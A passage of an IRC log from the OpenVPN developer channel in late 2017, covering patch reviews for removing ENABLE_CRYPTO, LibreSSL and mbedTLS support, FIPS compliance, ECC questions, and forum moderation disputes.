things, quite different from yours :D 08:18 < tincantech> ordex: how can someone write *to* the list if they are not subscribed ? 08:18 <@ordex> tincantech: it's not restricted 08:18 <@ordex> not every list is 08:19 < tincantech> can i read/write from/to it ? 08:19 <@ordex> you can write to it 08:19 <@ordex> like any other person having security concerns about openvpn, but only who is subscribed can read 08:20 <@ordex> not sure what is different from other MLs? 08:20 < tincantech> and only openvpn employees can read it then ? 08:21 <@ordex> no 08:21 <@ordex> not sure what is the criteria, but only people that can react and fix security bugs as fast as possible in the code before they get discolsed :P 08:21 <@ordex> i don't know much more than this 08:24 < tincantech> yeah .. that's what i thought :) 08:24 < tincantech> cheers for clearing that up 08:29 < tincantech> Win10 HD started clicking today .. checked SMART .. was 8C over warning (50C) looked and found huge glob of dust blocking vent .. looks like some spiders had a party ! 08:29 <@ecrist> the criteria was essentially "who needs to know" 08:30 <@ecrist> there's about a half dozen people on the list, and all the communication is encrypted. 08:33 < tincantech> ecrist: yeah i got it :) 08:33 < tincantech> see enough on the forum ... 08:35 <@ecrist> tincantech: for the most part, the security@ list is pretty quiet (which is good, imho). The occasional heads-up from people researching OpenSSL, or fuzz testing OpenVPN, etc. For the most part, if you idle in this channel, you'll be in the know of what's going on. 08:35 < tincantech> ecrist: like eastrsa:#163 (donkey time) 08:35 <@ecrist> heh, indeed 08:36 < tincantech> that is why I keep this channel open :) 09:44 <@cron2> Meeting tomorrow? 09:46 <@cron2> ordex: I can see your point, but the fact is that we *have* MAC learning on the server, and that you can already do most of the "bad stuff" you described, just not the *good* stuff 09:46 <@cron2> (if you want to flood the network, just send broadcasts) 09:47 <@cron2> so what we have right now is a half-assed ethernet switch which works better on some ports than on others - like, client MACs can roam between client bridges, but not between client bridges and the server TAP. 10:17 <@cron2> (in some respects, this is just like real ethernet switches... I've seen interesting failures on multicast packets across a number of vendors. Broadcast and unicast works well, multicast just is not forwarded - like as if someone writing the code thought "oh, multicast, I need to do something special. Drop for now, will return here later and fix it" and never actually did...) 10:17 <@cron2> happened both with Extreme Summit and with Juniper switches, eating our EIGRP routing protocol hellos... 14:56 <@cron2> https://twitter.com/lemiorhan/status/93557869454177075 14:56 <@cron2> ouch 15:07 < tincantech> cron2: according to ff that page not exist 15:31 <@cron2> huh, seems i miscopied 15:32 <@cron2> https://twitter.com/lemiorhan/status/935578694541770752 15:32 <@cron2> indeed 15:32 <@cron2> this is more fun 16:08 < tincantech> cron2: holy shit batman ! 16:10 < tincantech> i mean holey even ;) --- Day changed Wed Nov 29 2017 03:00 <@dazo> cron2, ordex, syzzer, mattock: Regarding meeting today ... I can't make it today :( 03:46 <@cron2> I'm not sure I can make it either... had plans for today about important work, now trying to troubleshoot a customer network since 1.5+ hours, and no end in sight 03:46 <@cron2> like "nothing works anymore" trouble 03:46 <@cron2> (ofc openvpn works and I can get to the networking gear :) ) 03:56 <@mattock> argh, the meeting again 03:56 <@cron2> you need an early warning calender schedule for tuesday afternoon :) 03:56 <@mattock> I do 03:56 <@mattock> in 34 minutes? 03:57 <@cron2> that would be the scheduled time, yes 03:57 <@mattock> ok 03:57 <@mattock> do we have enough people to organize one? 03:57 <@cron2> seems only you are around and awake, no sign from syzzer or ordex today 03:57 <@mattock> ok 04:19 <@ordex> me is here 04:20 <@ordex> it was set to start in 10 minutes from now, no? 04:20 <@cron2> ordex: yes 04:21 <@ordex> oky 04:35 <@ordex> cron2: syzzer mattock who is joining then ? 04:37 <@cron2> ordex: busy with a "customer network down" problem, sorry 04:37 <@ordex> oky, np! just checking if I have to wait for somebody or not 04:41 <@cron2> I don't think so... :-) - but you could do a round of vagrant testing with mattock 04:43 <@ordex> I think mattock take a chance to run away :D 04:43 <@ordex> *took 04:47 <@mattock> hi 04:47 <@mattock> I have baby duty 04:54 <@ordex> poo poo ? 04:54 <@ordex> :P 05:03 <@vpnHelper> RSS Update - tickets: #961: [MacOS] OpenVPN fails to use crypto token when run daemonized <https://community.openvpn.net/openvpn/ticket/961> 05:15 <@mattock> not yet 05:17 <@ordex> :P 07:12 < tincantech> is polarssl now known as libressl ? 07:16 <@ordex> it's mbedtls 07:22 < tincantech> oh yeah 07:22 < tincantech> probably change this : https://community.openvpn.net/openvpn/wiki/UsingPolarSSL 07:22 <@vpnHelper> Title: UsingPolarSSL – OpenVPN Community (at community.openvpn.net) 08:31 -!- slypknot is now known as tincantech 09:31 < tincantech> pfwat .. steve marquess and steve henson have left OSF ! 09:31 < tincantech> https://www.openssl.org/blog/blog/2017/10/24/steve-henson/ 09:31 <@vpnHelper> Title: Steve Henson - OpenSSL Blog (at www.openssl.org) 09:36 <@ordex> tincantech: yes, that polarssl page might need some love 11:57 <@dazo> tincantech: the polarssl company got bought up by the company behind the ARM spec/design, which also drives the mbed project including mbedOS ... so PolarSSL got merged into the mbed project, hence mbed TLS (as SSL is also dead, everyone should use TLS) 12:11 < tincantech> dazo: thanks for the info 12:11 < tincantech> is it still possible to use LibreSSL to build ? 12:12 <@dazo> I think so ... LibreSSL is an odd fork of OpenSSL, which attempts to fix OpenSSL issues in a different way ... but there are corner cases here which we seem to end up working our ways around the whole time 12:14 < tincantech> I ask because of this (it is not important) : https://forums.openvpn.net/viewtopic.php?f=6&t=25355 12:14 <@vpnHelper> Title: OpenVPN client error : Failed to configure TLS context - OpenVPN Support Forum (at forums.openvpn.net) 12:14 < tincantech> ironically that is openvpn on RPi (arm) and LibreSSL 12:15 < tincantech> after cloning latest LibreSSL that error message no longer exists ! 12:15 < tincantech> so maybe a bug was fixed (who knows) .. like i said not important 14:07 <@dazo> tincantech: openvpn-2.3.14 might actually be far more grumpy with LibreSSL .... I don't think we've put too much efforts into LibreSSL support in 2.3 ... and if LibreSSL package has been updated with upstream changes causing slight OpenSSL incompatibilities, this is not unexpected 14:14 < tincantech> dazo: thanks .. i am trying with ovpn git master & libressl git master .. but I am a little short on info about it .. plus I am not sure about the *-devel libs or headers etc .. so googling but not holding breath 14:14 < openvpn-slack> <andrew> hrm, irc bridge dies for some reason 14:16 < tincantech> openvpn-slack: andrew .. maybe you need to feed it more ;-) 14:17 < openvpn-slack> <andrew> :P 15:27 <@cron2> dazo: actually we do make openvpn work with libressl :-) - as we test on OpenBSD 6.0 which ships LibreSSL by default 15:28 <@cron2> that's why we always get these nice surprises when syzzer sends in OpenSSL improvement patches that blow up on LibreSSL *sigh* 15:31 <@dazo> ahh, right ..... I'm probably just too ignorant to care enough about OpenBSD to remember such details :) 16:28 <@dazo> damn those "this is an easy error to fix"-errors ...... 16:31 <@vpnHelper> RSS Update - tickets: #962: /etc/openvpn does not support symlinks anymore <https://community.openvpn.net/openvpn/ticket/962> --- Day changed Thu Nov 30 2017 01:44 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 240 seconds] 01:45 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 06:47 <@ordex> would anybody object if I proposed to add openvpn to the list of supported projects in tip4commits ? 06:47 <@ordex> it is basically a platform where $random people can tip commits in FOSS projects. the author of the commit can then claim the tip once a treshold is reached or the amount will be thrown into a "project" bag 06:47 <@ordex> nothing to deal with. just passively be there 07:01 <@dazo> I have no issues with that 07:02 <@ordex> ok 08:25 < tincantech> I wonder if in the future will the chinese be able to bc-mine on an abacus ? they are pretty good with them even now ! 09:43 <@cron2> ordex: go for it 09:43 <@ordex> oky! thanks 09:43 <@cron2> ofc I won't ever see any money, since all the commits are comming from you and syzzer... 09:43 <@cron2> dazo and I just get to clean up the fallout :-o 09:44 <@cron2> (I'm happy we see active code contributions, even if I wish *I* had more time for actual coding :-) ) 09:44 <@ordex> :D 09:44 <@ordex> the final result is still a combination of everybody's effort :) 09:46 <@syzzer> I wonder if we would ever see any money at all :p 09:47 <@syzzer> but let's see if we can get 'the internet' to sponsor food and beer at the next hackathon :) 09:56 <@ordex> :D 09:56 <@ordex> that would be a good result already 09:56 <@ordex> on tip4commit I got some very very very small amounts for commits in the kernel. but they were so small that i could not even withdraw them :P 10:23 < openvpn-slack> <johan> tincantech: ahhhhhhhh 11:22 <@syzzer> ordex: how would you receive money anyway? Register with the email address of you commits and give them a btc address? 12:03 <@plaisthos> are btc transactions still in 6 EUR range? :p 12:27 < tincantech> openvpn-slack: johan ? 12:28 < tincantech> oh right .. now i got it ;) 12:29 < openvpn-slack> <johan> :slightly_smiling_face: 12:32 < tincantech> meh meh meh ;P 15:07 -!- tincantech is now known as ifnotnot 18:12 < tincantech> some shit goin down now ! 18:25 <@ordex> syzzer: you receive an email when your commit is tipped (the mail is sent to the author email) 18:25 <@ordex> then you can create an account and transfer to your btc address (only when the accumulated amount reaches a certain threshold) 19:43 < tincantech> ordex: ¬! 19:43 < tincantech> you old dog 19:43 <@ordex> :O 19:43 < tincantech> yo dude 19:44 < tincantech> you must ne some sup[er coder ! 19:44 < tincantech> get that fkn simple pf on the list ! 19:48 < tincantech> p..lease 23:02 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 240 seconds] 23:04 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 23:04 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Fri Dec 01 2017 10:33 <@vpnHelper> RSS Update - tickets: #963: OpenVPN 2.4.4 OpenSSL 1.1.x issues with ECC ciphers (client only) <https://community.openvpn.net/openvpn/ticket/963> 11:26 < tincantech> are some people incredibly annoying and stupid : https://forums.openvpn.net/viewtopic.php?f=5&t=8242 11:26 <@vpnHelper> Title: Annoying warning - OpenVPN Support Forum (at forums.openvpn.net) 11:26 < tincantech> I feel like delete/ban time ... 11:26 < tincantech> ecrist: ^ what do you think ? 11:46 < tincantech> I was thinking .. just move it (because it almost certainly is not the same problem since 2011) and just ask for the usual details .. 12:41 < tincantech> never mind .. i moved it now 12:52 < tincantech> FYI -- This is the posted message : https://forums.openvpn.net/viewtopic.php?f=6&t=25378 .... in response to this : https://forums.openvpn.net/viewtopic.php?f=5&t=8242#p12659 12:52 <@vpnHelper> Title: [Subject currently unknown] - OpenVPN Support Forum (at forums.openvpn.net) 20:49 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] --- Day changed Sat Dec 02 2017 05:56 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:56 -!- mode/#openvpn-devel [+o cron2] by ChanServ 08:06 <@ordex> mh 2 out of 7 patches are missing on the ml 08:06 <@ordex> weird, I have received them in my inbox. maybe the sf ml thought it was a flood :P 08:24 <@ordex> there they are 08:54 <@ecrist> tincantech: ping 08:54 <@ecrist> why did you ban pieter2003? 09:24 <@ordex> tincantech: I can't send the pf patches right now because they depend on stuff that are currently pending on the ml...I'll wait some more 09:34 <@ordex> mh or maybe not ... me is rebasing 09:53 < tincantech> ecrist: i can't remember exactly but he literally broke every rule i go by .. which is why my comment "ass hole" 09:54 < tincantech> I believe his post was only made to promote his web site but in a surrupticious way 09:55 < tincantech> ordex: I don't mean to hassle you but I am looking forward to the pf working without need for the plugin ;) 09:56 <@ordex> that's the last step :P will need more discussion 09:56 <@ordex> but the ipv6 thing is already a good step forward :) 09:57 < tincantech> ordex: I was thinking .. could your "pf-dir" vs "the plugin" be made mutually exclusive but allow either to be used depending on the config .. so as not to break confs which are currently using the plugin 09:57 <@ordex> tincantech: yeah, that's probably one way to go 09:58 <@ordex> or something similar, but along those lines 09:58 < tincantech> coolio ::D 10:03 < tincantech> ordex: you have been busy ! 10:03 <@ordex> rebasing all my old patches + some new stuff 10:44 < tincantech> ecrist: reviewing cleantalk and the moderator logs .. it is possible i banned the wrong username 10:55 <@ordex> ok,when the typ0 level gets this high..I have to sleep :) 10:55 <@ordex> good night! 13:22 <@cron2> ordex: will spend time next week on reviewing and merging... 13:30 <@syzzer> ordex: a lot of good stuff on the ML! wondering though, why did you split 1/7 and 2/7? I'd prefer not to have commits in the repo that disable all crypto tbh :p 14:40 <@cron2> syzzer: we can just apply 2/7 first 14:40 <@cron2> :) 15:53 <@syzzer> cron2: ah, yeah, that should work! 20:27 <@ordex> cron2: syzzer: oh yeah, I did not think of this kind of implication. I follow some logic flow that came up to my mind. But feel free to re-arrange (or even merge) them if you think it would be better 20:27 <@ordex> I *did follow 22:18 <@ordex> cron2: syzzer: the only one thing to manually fix if you invert 1/7 with 2/7 is that we don't need to touch tests/Makefile.am at all as the tests will just work properly in that order 23:00 <@ordex> plaisthos: speaking about the icmpv6 packets: even if we don't whitelist anything by default, the admin will still have to whitelist them explicitly, otherwise ipv6 won't work, no? --- Day changed Sun Dec 03 2017 02:39 <@mattock> cron2, d12fk: care to quickly review German language update to openvpn-gui? https://github.com/OpenVPN/openvpn-gui/pull/192/files 02:39 <@vpnHelper> Title: Update german translation by MaxXor · Pull Request #192 · OpenVPN/openvpn-gui · GitHub (at github.com) 02:59 <@syzzer> ordex: that sounds even better. Let's just invert then, so we won't unnecessarily complicate the mail thread 03:00 <@ordex> syzzer: you mean I should send v2 of the patchset with those inverted ? 03:04 <@syzzer> oh, no 03:04 <@syzzer> I just meant 'apply inverted', as cron2 suggested 03:16 <@syzzer> ordex: why remove the ENABLE_ bit from the CRYPTO_OPENSSL and CRYPTO_MBEDTLS defines? All other feature defines have this ENABLE_ prefix. 03:40 <@syzzer> ordex: I reviewed 1/7 and 2/7, and the ENABLE_ thing is my only reservation. Waiting for your reply before I send my ACKs, so you can send a v2 if you agree. 03:48 <@ordex> syzzer: because I felt ENABLE_CRYPTO_* was like a "sub define" of ENABLE_CRYPTO, so I wanted to remove it to make it clear that this is nothing we are really "enabling" per se, but it's more like a switch 03:48 <@ordex> but I was dubious on that as well 04:34 <@syzzer> ordex: 2/7 will need a v2 too then, since that removes the ENABLE_ prefix in a lot of code 04:34 <@ordex> syzzer: yeah. will send v2 of 2/7 and 1/7 actually (Selva pointed out something to change in .travis.yml) 04:34 <@ordex> maybe I should invert them then ? 04:34 <@ordex> or at least I should remove the tests/Makefile.am change at all, so it will be easier to merge them inverted 05:08 <@syzzer> ok, good. whatever you think works :) 05:50 <@ordex> ok :) 08:21 <@syzzer> ordex: I'm a bit on the fence about 7/7. The alias there actually does make the code easier to read for me. "c->c2.tls_multi != NULL" feels less descriptive than "TLS_MODE(c)". 08:22 <@syzzer> (though I would have preferred a static inline function, instead of a macro) 08:23 <@ordex> syzzer: I prefer static inline functions too 08:24 <@ordex> the macro itself did not sound really interesting to me 08:24 <@ordex> just like yet another macro to envelop to understand what the code is doing 08:24 <@ordex> I could understand if the condition was more complex, then it would make sense 08:24 <@ordex> I'd rather prefer to have a comment explaining what we are checking when the condition itself is not easy to grasp 08:24 <@ordex> but that's why my opinion 08:25 <@ordex> I see this "simple" macro as an old-style thing making the code a bit more dirty :P, but again, just my taste 08:25 <@ordex> nothing major 08:25 <@syzzer> I usually prefer a function with a good name over a comment 08:26 <@syzzer> I don't like that it's a macro here, but I like that I can just read the code and immediately understand what we're testing here. 08:26 <@ordex> yeah, that's sometihng i am fine too 08:26 <@ordex> should we create a is_tls_mode() ? 08:26 <@ordex> but tls_mode in this case is not correct, because this is "is_tls_server_mode()" no ? 08:27 <@ordex> especially now that we are removing enable_crypto, what does TLS_MODE really say? 08:27 <@syzzer> hm, you're right, the name is actually misleading 08:28 <@syzzer> this basically differentiates between server mode (P2MP), and p2p mode 08:28 <@ordex> ok, this is in line wit my understanding 08:28 <@syzzer> ok, so I agree the current 'helper' isn't helpful at all 08:28 <@syzzer> but I still like the concept of *properly* named helpers :p 08:29 <@syzzer> for now, I'll just ack your patch 08:29 <@ordex> I wonder if we could check another "mode" attribute rather than tls_multi, since tls i always enabled at that point 08:29 <@ordex> ehhe yeah I agree on that :) 08:29 <@ordex> *is 08:30 <@syzzer> tls_multi (notice the multi) should only be defined for server mode instances 08:30 <@syzzer> iirc 08:31 <@ordex> yeah, think so too. tls_multi should equal to "server mode" AND "crypto enabled". but since crypto is always enabled, we could change the condition to check for something like "mode == server" (if possible at all in that function) 08:31 <@ordex> but we can do that with another patch 08:34 <@syzzer> hm, looking better at the code it seems that tls_multi *is* initialized for tls clients too... 08:34 <@ordex> bbl 08:35 <@syzzer> sure :) 09:50 <@ecrist> tincantech: in the future, can you please leave more descriptive moderator comments? "advertising for personal website" is more informative than "asshole" 09:50 <@ecrist> Also, I've removed permanent delete capability so additional moderators can review posts later. 09:53 <@ecrist> The user emailed me. I've asked them for more details, but they have not responded. I'm guessing they won't. Their claim was their accounts was banned 10 seconds after creation. Obviously, that's not true. 12:16 <@cron2> ugh, so many ACKs, so much work to do 13:49 < tincantech> ecrist: one mistake in how many years .. 13:50 < tincantech> one mistake of that nature .. 14:40 < tincantech> ecrist: although I don't mind at all about changes to "delete permanent" .. you can review the post on cleantalk (logged in) this link should work : https://cleantalk.org/my/show_requests?service_id=160477&int=week#eae8aacb7a754ac2accca2f03da98e1d 14:40 <@vpnHelper> Title: Login to dashboard (at cleantalk.org) 14:46 < tincantech> no that link will not work .. but if you scroll down to "Dec 02, 2017 02:25:21 Post approved pieter2003 flaaksikers1@gm" tou can see for yourself 14:48 < tincantech> I may have been a wee bit trigger happy that time :( 14:57 < tincantech> FYI: i do remember now .. the first time i read it I read that URL as https://gayzo .. That is why I deleyed it, I knew it was something to do with the 14:57 < tincantech> anyway .. that was my mistake 15:05 < tincantech> I is now "Marked as not SPAM" .. easy to find 18:57 <@ordex> cron2: yeah I am listening :) if that's the effect, then better not to assign patches. but i think this only needed some clarification on the involved parts. after all in a FOSS project there shouldn't be anything preventing people from reviewing patches. not even formal ownership/assignment/whatsoever (which our patchwork is not even meant to do) --- Day changed Mon Dec 04 2017 04:57 <@ordex> syzzer: do you know any way to retrieve the spec of the server certificate from the mbedtls context ? 04:57 <@ordex> with spec I mean sign alg, encryption alg, dates, etc 05:44 <@syzzer> ordex: not from the top of my head 05:44 <@syzzer> but check the certificate timestamp check code in openvpn2, that should give some hints 05:45 <@syzzer> https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/ssl_mbedtls.c#L303 05:45 <@vpnHelper> Title: openvpn/ssl_mbedtls.c at master · OpenVPN/openvpn · GitHub (at github.com) 05:47 <@ordex> syzzer: mhhh I wondering if this is the server certificate or actually the client one (crt_chain sounds like the member where out certificate is stored) 05:48 <@syzzer> well, (on the server side) you can check the server cert during startup, and the client cert in the verify callbacks 05:49 <@ordex> mh verify callbacks .. are they also usable on the client? I will look into those 05:50 <@syzzer> yes, they work the same for clients and servers 05:58 <@ordex> will chekc, thanks a lot ! 05:58 <@ordex> *check 07:12 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 07:12 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 07:19 <@ecrist> tincantech: thanks for the reminder about cleantalk. The removal of permanent delete wasn't triggered by this, it's something I've been meaning to do for a while. This was just a catalyst. I'm not saying you made a mistake, either. There's no way to back up your side of the story without the post content, however. Don't sweat it. :) 07:38 < tincantech> ecrist: you can see the full post on cleantalk .. I don't know how long they will keep it .. anyway, I'm good :) 10:07 <@cron2> syzzer: can you have a look at ordex 1/7 v3? With that ACKed, I can merge the series - but since it's the crucial 1/7 it indeed is holding up that series 10:41 <@syzzer> cron2: done 10:53 <@vpnHelper> RSS Update - gitrepo: openvpnserv: Review MSVC down-casting warnings <https://github.com/OpenVPN/openvpn/commit/02fa8565498d701b5750ad19ee29be4fe657a7f5> 12:03 <@vpnHelper> RSS Update - gitrepo: openvpnserv: Add support for multi-instances <https://github.com/OpenVPN/openvpn/commit/f3fec49b1c916a701058ef2445b4c07005c30673> 12:27 <@vpnHelper> RSS Update - gitrepo: Remove ENABLE_CRYPTO <https://github.com/OpenVPN/openvpn/commit/c7ca91332d330b3cbbc2a8faef4f3a3ae70048c5> 12:50 <@cron2> *sigh* 1/7 v3 breaks compilation of plugins/ with --disable-crypto 12:51 * cron2 had hoped for an all-green build... 12:55 <@vpnHelper> RSS Update - gitrepo: Remove MD5SUM <https://github.com/OpenVPN/openvpn/commit/5a0e82cb73ce072ef6cedc629d698cf873923bf6> || Remove SSL_LIB_VER_STR <https://github.com/OpenVPN/openvpn/commit/ca78395352e90c5b30015e23f1918a72a6c4a6ab> || Remove ENABLE_PUSH_PEER_INFO <https://github.com/OpenVPN/openvpn/commit/d16529483d72871e1812f8f974f456867f5021d1> || Remove option to disable crypto engine <https://github.com/OpenVPN/openvpn/commit/ 17:16 < tincantech> dazo: have you read the openssl fips module user guide ? it is a horror show of acrymonious accusations ... jim carrol's comments are accurate regarding the OSSL FIPS *module* .. *any* changes from the prescribed recipe and you are not FIPS complaint .. but that is the OSSL FIPS module nothing to do with openvpn per se 17:23 <@syzzer> cron2: but just 1/7, right? Because the set compiles for me. 18:05 <@ordex> mh...something must have gone havoc while inverting, because earlier each patch was compiling :S 18:10 <@ordex> cron2: are we still on time to do something? or it's too late ? 23:24 <@ordex> I think it's just too late :P --- Day changed Tue Dec 05 2017 01:45 <@cron2> mornin' 01:46 <@cron2> ordex: way too late - patch had been pushed already when buildbots exploded (but only for --disable-crypto and then only for the plugins, so that's somewhat acceptable) 01:46 <@ordex> yeah :( 01:47 <@ordex> sorry about that - reverting the patches was a bit trickier than it looked like 01:47 <@ordex> s/reverting/inverting/ 01:47 <@cron2> yeah, guessed so :) 02:10 <@syzzer> this has just been the final commit in an array of "Shite, we broke --disable-crypto again" :-p 02:19 <@ordex> :D 02:19 <@cron2> syzzer: haha, indeed 03:23 <@ordex> dazo: do you also feel that all the doc about FIPS should not really go into the OpenVPN README ? 03:32 <@ordex> syzzer: btw we have been defining our own cert profiles, but did you know that mbedtls is already exporting "default" "next" and "suiteb" ? even though they are slightly different from ours 03:41 <@syzzer> ordex: yeah, but after some ml discussion we came to the conclusion that those are not good enough for openvpn 03:42 <@ordex> oh ok, good :) I was just crusious to know if they were considere or not 03:42 <@ordex> *considered 03:42 <@syzzer> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14154.html 03:42 <@vpnHelper> Title: [Openvpn-devel] Should we use mbedTLS certificate profiles? (at www.mail-archive.com) 03:42 <@ordex> thanks ! 04:12 <@dazo> ordex: I don't have issues with us describing how to FIPS enable OpenVPN ... but it doesn't need to be in the main README 04:13 <@dazo> tincantech: I am very well aware of the complexity regarding FIPS compliance ... which is why I pointed at an example for RHEL, which is FIPS compliant when taking those steps described there. 04:14 <@dazo> tincantech: and trying to do the FIPS stuff yourself as described by the NIST documentation, doesn't really make you FIPS compliant at all - as that setup has most likely not been through an official FIPS certification; which RHEL has 04:15 <@ordex> imho a wikipage might be better. if I understand things correctly, we can't speak of "fips enabled openvpn", but we have to talk about the whole system 04:15 <@ordex> the readme might just mention what is required on the openvpn side, same as I expect openssl to describe what is required on their side 04:15 <@ordex> but I haven't tried to go through that for real, so I might be wrong :) 04:15 <@dazo> ordex: that is correct .... what I meant was running OpenVPN with FIPS compliance on a FIPS compliant system 04:16 <@dazo> actually, OpenVPN will never be FIPS compliant before vendor takes the effort of getting OpenVPN certified for FIPS 04:17 <@ordex> yeah 04:17 <@ordex> but that's not something we can do much about :P 04:18 <@dazo> For most users I suspect running OpenVPN in FIPS mode on a FIPS compliant system is more than good enough ... except government based installs and such 04:18 <@ordex> yeah, if the user does not require a certification, then that should be fine 04:19 <@ordex> anyway, speaking about the readme: my feeling is that describing how to compile openssl is not really openvpn's duty :P but anyway, that just me being minimal 04:19 <@dazo> And yeah, we can't FIPS certify OpenVPN alone ... it requires the full OS stack to be certified ... so Red Hat and other Linux vendors are the ones who must do that. 04:19 <@dazo> actually not only the OS stack, even the HW stack as well 04:20 <@ordex> also hw? ok 04:20 <@ordex> sounds pretty much like one of those FCC crazy rules 04:21 <@dazo> it is NIST who governs the FIPS standard ;-) 04:21 <@ordex> eheh 04:21 <@ordex> as of now I did not care much about all those names :P 04:22 <@dazo> :-P 04:24 <@dazo> in regards to the HW ... it is mostly the crypto related stuff which needs is certified ... so if there's no crypto stuff in hardware, software is "good enough" 04:24 <@ordex> mh, which means the AES acceleration has to be certified too, I guess? 04:25 <@dazo> yeah, which is handled via the OpenSSL aes-ni engine 04:25 <@dazo> https://csrc.nist.gov/projects/cryptographic-module-validation-program/Certificate/2720 04:25 <@vpnHelper> Title: Certificate Detail - Cryptographic Module Validation Program | CSRC (at csrc.nist.gov) 04:25 <@dazo> https://csrc.nist.gov/projects/cryptographic-module-validation-program/Certificate/2631 04:25 <@vpnHelper> Title: Certificate Detail - Cryptographic Module Validation Program | CSRC (at csrc.nist.gov) 04:28 <@dazo> Here's actually a nice example with RHEL 6 .... "Red Hat Enterprise Linux 6.2 on HP ProLiant DL585 and IBM BladeCenter® HS22 servers has achieved the following FIPS 140-2 certifications:" https://www.redhat.com/en/about/press-releases/red-hat-completes-fips-1402-certifications 04:28 <@vpnHelper> Title: Red Hat Completes FIPS 140-2 Certifications (at www.redhat.com) 04:31 <@ordex> I see 04:42 <@mattock> topics for tomorrow's meeting? 04:44 <@ordex> maybe we want to discuss some of the patches on the ml ? 04:44 <@ordex> not sure anyway .. 04:44 <@dazo> could be a good idea 05:14 <@mattock> "review patches in patchwork"? 05:25 <@ordex> yeah 05:26 <@ordex> which could be compressed with "patchwork" only :D but that would be ambiguous eheh 07:26 <@syzzer> I will probably not make the meeting tomorrow 07:26 <@syzzer> all-day meeting at $work... 07:38 <@mattock> invitation sent 07:40 * cron2 won't make tomorrow's meeting either... lunch appointment starting at 1200, have to leave office at 11:40 latest... 07:41 <@cron2> my topic would be "have mattock figure out why patchwork is ignoring our X-Patchwork-Status: headers" :) - plus, "syzzer and libreSSL", but for that we need syzzer 08:27 < tincantech> dazo: i did not mean to sound rude (i realise my comment may have sounded that way) but I have read the OSSL FIPS user guide cover to cover (more or less) and to use OSSL FIPS module no deviation is allowed at all .. and yes that does include every bit of Hard/software in question .. I actually agree with ordex that OSSL does not belong in OVPN docs .. and from my understanding if OVPN release a FIPS 08:27 < tincantech> compliant version that version would also not be allowed to change at all .. if you patched that version it would have to be resubmitted in what ever capasity 08:29 < tincantech> to be honest i think it would be upto each vendor to have ovpn be FIPS compliant in their application/environ .. but it does help that ovpn has no banned hash elements like MD5 08:38 < tincantech> dazo: i just meant .. i was not meaning to be rude 08:39 -!- krzie is now known as krzee 12:20 < tincantech> ecrist: I just deleted a SPAM .. the way it is now is how I would expect it to be done see the mod log 18:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 255 seconds] 18:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 19:38 <@ordex> syzzer: when somebody asks if openvpn supports "ECC", it means he is talking about supporting EC* keys? or is that an encryption alg family? in either case, what does openvpn 2.4 support? my understanding is that mbedtls does support both 20:57 < tincantech> ECC = Eliptic Curve Crupto 20:58 <@ordex> yap 21:00 < tincantech> ordex: hey ;) 21:00 <@ordex> hey hey :) 21:01 < tincantech> dont let the help vampires waste your time dood ;) 21:01 < tincantech> asking if ovpn does ECC is like asking "how long is this piece of cake" 21:06 < tincantech> on control/data and cert .. 21:08 <@ordex> :D 21:09 <@ordex> well, I also want to better understand 21:09 < tincantech> ordex: i am sorry to sound obnoxious .. i can do that accidentally 21:10 <@ordex> eheh 21:10 < tincantech> but Ovpn does EC crypto on everything .. if you want 21:15 < tincantech> maybe not data .. eg: --cipher x (no EC variant .. i think ) 21:20 <@ordex> yeah 21:20 <@ordex> that's probably the question 21:20 <@ordex> so i guess we do not support ecc on the data layer yet 21:23 < tincantech> I have my doubts that that is actually *possible* yet 21:24 < tincantech> or at least "feasible" 21:27 < tincantech> ordex: check this out : # openvpn --show-ciphers --show-digests --show-tls --show-curves 21:30 < tincantech> did you even know you could use them all at once .. shell script immenent 21:33 <@ordex> it gets quit elong 21:35 < tincantech> yes .. but it does look enlightening 21:40 <@ordex> so --show-cipher does not show any ec algo. thus data can't be encrypted with that 21:41 < tincantech> I do not think so .. 21:45 < tincantech> I do not pretend to fully understand it but .. the control channel and verification of each end is not the same as the data channel "encryption" 21:48 <@ordex> right 21:49 <@ordex> they are different things 21:53 < tincantech> exactly .. once the end point is verified then the "live encryption" can take place .. 21:54 < tincantech> but the live encryption is AES-etc (for example) 21:55 < tincantech> certificate verification is far more complex $RSA $EC whatever .. 22:00 < tincantech> ordex: before --tls-crypt .. certs were sent plain text ! 22:00 <@ordex> yeah I know 22:00 < tincantech> and that still works 22:00 <@ordex> but that's normal in tls 22:04 < tincantech> exactly 22:07 < tincantech> you have a PSK to send your cert over .. eg: --tls-crypt 22:08 < tincantech> otherwise you have the [insert adjective here] to send your stuff over 22:09 <@ordex> lol 22:09 < tincantech> plain text certifiable cert .. over the WWW 22:09 < tincantech> private/public key RSA 22:10 <@ordex> tincantech: just to clarify: what are you blabbing about now ? :D 22:10 < tincantech> private VS public key RSA is more accurate 22:12 < tincantech> consider myself sushed .. 22:12 <@ordex> you mean: stuffed with sushi ? 22:13 < tincantech> ask syzzer 22:15 <@ordex> syzzer: cron2: is it possible that we don't have control the ML members? even if we want to ban somebody ? 22:18 < tincantech> ordex: .. >> open << VPN .. just ignore them 22:18 <@ordex> just wondering if we can unsubscribe this guy 22:18 <@ordex> manually 22:19 < tincantech> i am afraid so .. :( .. but is no big deal 22:20 < tincantech> mattock: or somebody might be able to help in a real crisis .. but the rest are just /ignore 22:22 < tincantech> ordex: "help vampires" pride themselves on making you worry about some shit you should not worry about .. hense stuff like travis etc 22:34 < tincantech> "Howto unsubscribe" from a list .. hmm .. let me google some off colour shite (and not openvpn which has clear instructions) 22:40 < tincantech> "click here to unsubscribe .. " or not you chump ! 22:41 < tincantech> seems quite easy to me 22:43 <@ordex> tincantech: i told him several times 22:43 <@ordex> he even claimed to have done that but never got anything 22:43 <@ordex> now I have done it for him 22:44 